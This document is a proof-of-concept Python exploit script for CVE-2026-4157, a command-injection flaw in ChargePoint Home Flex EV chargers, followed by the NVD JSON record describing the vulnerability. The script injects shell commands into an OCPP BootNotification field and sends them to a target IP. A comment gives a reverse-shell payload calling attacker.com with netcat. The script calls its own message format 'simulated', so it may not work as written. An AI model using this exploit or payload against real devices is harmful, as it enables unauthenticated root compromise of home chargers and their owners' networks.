CVE-2026-4157

import socket import json # Proof of Concept for CVE-2026-4157 # This script demonstrates the command injection vulnerability in ChargePoint Home Flex OCPP handling. # Target IP and Port (RevSSH Service) TARGET_IP = "192.168.1.100" TARGET_PORT = 80 def send_exploit(): # The payload injects a shell command to create a reverse shell or execute a simple command # Example payload: ; nc attacker.com 4444 -e /bin/sh malicious_payload = "; id; echo pwned" # Constructing a malicious OCPP message (Simulated structure) # The vulnerability lies in how the 'chargePointModel' or similar field is processed exploit_data = { "messageType": 2, "messageId": "1", "action": "BootNotification", "payload": { "chargePointModel": malicious_payload, "chargePointSerialNumber": "Serial123" } } try: # Sending the malicious payload print(f"[*] Sending exploit to {TARGET_IP}:{TARGET_PORT}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) s.send(json.dumps(exploit_data).encode()) response = s.recv(1024) print("[+] Response received:") print(response.decode()) s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-4157", "sourceIdentifier": "[email protected]", "published": "2026-04-11T01:16:17.487", "lastModified": "2026-04-27T17:42:41.327", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChargePoint Home Flex revssh Service Command Injection Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of ChargePoint Home Flex devices. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of OCPP messages. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-26338."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:chargepoint:home_flex_cph50_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.5.4.22", "matchCriteriaId": "F5D6BCAE-C598-4884-ADB5-45B272220C2A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:chargepoint:home_flex_cph50:-:*:*:*:*:*:*:*", "matchCriteriaId": "2A6709D3-36B1-4027-82ED-144875049704"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-197/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}